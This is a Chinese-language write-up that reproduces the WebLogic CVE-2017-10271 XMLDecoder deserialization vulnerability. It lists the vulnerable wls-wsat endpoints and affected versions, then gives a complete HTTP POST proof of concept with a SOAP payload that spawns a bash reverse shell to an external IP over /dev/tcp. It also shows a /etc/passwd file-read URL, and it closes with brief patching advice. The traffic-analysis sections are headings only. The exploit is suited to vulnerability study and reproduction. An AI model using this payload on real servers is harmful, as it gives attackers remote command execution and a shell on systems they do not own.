Weblogic CVE-2017-10271 漏洞復現&&流量分析
Weblogic CVE-2017-10271 XMLDecoder反序列化
1.Weblogic-XMLDecoder漏洞淺析
0x01 前生今世:
weblogic:7001端口
redis :6379 端口
tomcat: 8009 端口
此處存在任意文件讀取下載漏洞:http://your-ip:7001/hello/file.jsp?path= 如讀取 passwd文件:http://your-ip:7001/hello/file.jsp?path=/etc/passwd
首先此漏洞前身爲CVE-2017-3506,但是此補丁對於漏洞的修復只限於做了類似於黑名單一樣的限制,並沒有從原理上解決,才導致了CVE-2017-10271漏洞的出現。繞過了補丁做的限制即可觸發RCE遠程執行命令。
0x02 涉及版本:
10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2
0x03 利用姿勢:
2. 漏洞點在於:
''' 例如 '''
http://IP:7001/wls-wsat/CoordinatorPortType
3. 其他可利用URI:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
4. 如何利用?
在上方8個路徑中任意選擇一個路徑,將content-type改成text/xml類型
即content-type:text/xml
,然後改爲post方式傳入payload,即可漏洞復現,如果此處爲修改類型,則會收到內容爲不支持的類型的返回包。
5. POC
''' 反彈shell '''
''' 注意反彈shell語句需要像下面一樣進行url編碼 '''
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 641
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.124.141/1234 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
6. 抓包分析
0x01 建立反彈shell過程抓包
0x02 反彈shell中執行命令抓包
7. 修復建議
-
更新Oracle相應補丁
-
對wls-wsat的資源訪問在防火牆或路由器和交換機上做acl訪問控制規則
-
在不影響業務的前提下刪除相應war包
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重啓weblogic後觀察wls-wsat/目錄下那8個URI是否還可訪問,如爲404即刪除成功。
8. 參考文章
https://www.freebuf.com/articles/web/197339.html ---weblogic從入門到放棄
https://www.freebuf.com/vuls/179579.html --- weblogic JAVA反序列化